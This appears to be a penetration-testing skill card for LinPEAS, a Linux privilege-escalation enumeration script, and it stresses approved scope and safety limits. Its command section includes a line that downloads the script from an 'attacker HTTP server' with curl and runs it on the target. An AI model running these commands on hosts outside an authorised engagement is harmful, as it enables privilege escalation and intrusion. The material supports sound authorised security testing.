Linpeas

LinPEAS

Purpose

Use this skill for host-local Linux privilege-escalation enumeration when the engagement includes approved access to a specific Linux system.

Phase Fit

• Primary: Vulnerability Analysis
• Secondary: Validation and Controlled Impact Demonstration, Retest and Closure

Use When

• Need to enumerate Linux misconfigurations or local escalation paths.
• Need a structured checklist for host-local privilege review.
• Need a repeatable retest after Linux hardening.

Avoid When

• Host-local enumeration is not explicitly approved.
• The host is too sensitive for broad scripted checks.

Inputs

• Approved Linux host and user context
• Execution and logging constraints
• Output handling requirements

Procedure

1. Confirm the host and privilege boundary under review.
2. Run only within the approved host scope.
3. Triage results for practical, reachable escalation paths.
4. Manually validate material findings before escalation.
5. Preserve the exact host and execution context for retest.

Command Syntax

Replace sample paths with the approved local script path.

# Run with default checks
bash linpeas.sh
chmod +x linpeas.sh && ./linpeas.sh

# Run all checks and save output
./linpeas.sh -a 2>&1 | tee /tmp/linpeas_output.txt

# Transfer and run via attacker HTTP server
# On attacker: python3 -m http.server 8000
# On target:
curl http://10.10.10.1:8000/linpeas.sh -o /tmp/linpeas.sh && chmod +x /tmp/linpeas.sh && /tmp/linpeas.sh | tee /tmp/lp-out.txt

Evidence to Capture

• Practical Linux privilege-escalation paths or misconfigurations
• Exact host and user context used
• Minimal proof needed for remediation

Safety Boundaries

• Use only on approved hosts.
• Treat output as sensitive host evidence and avoid unnecessary state changes.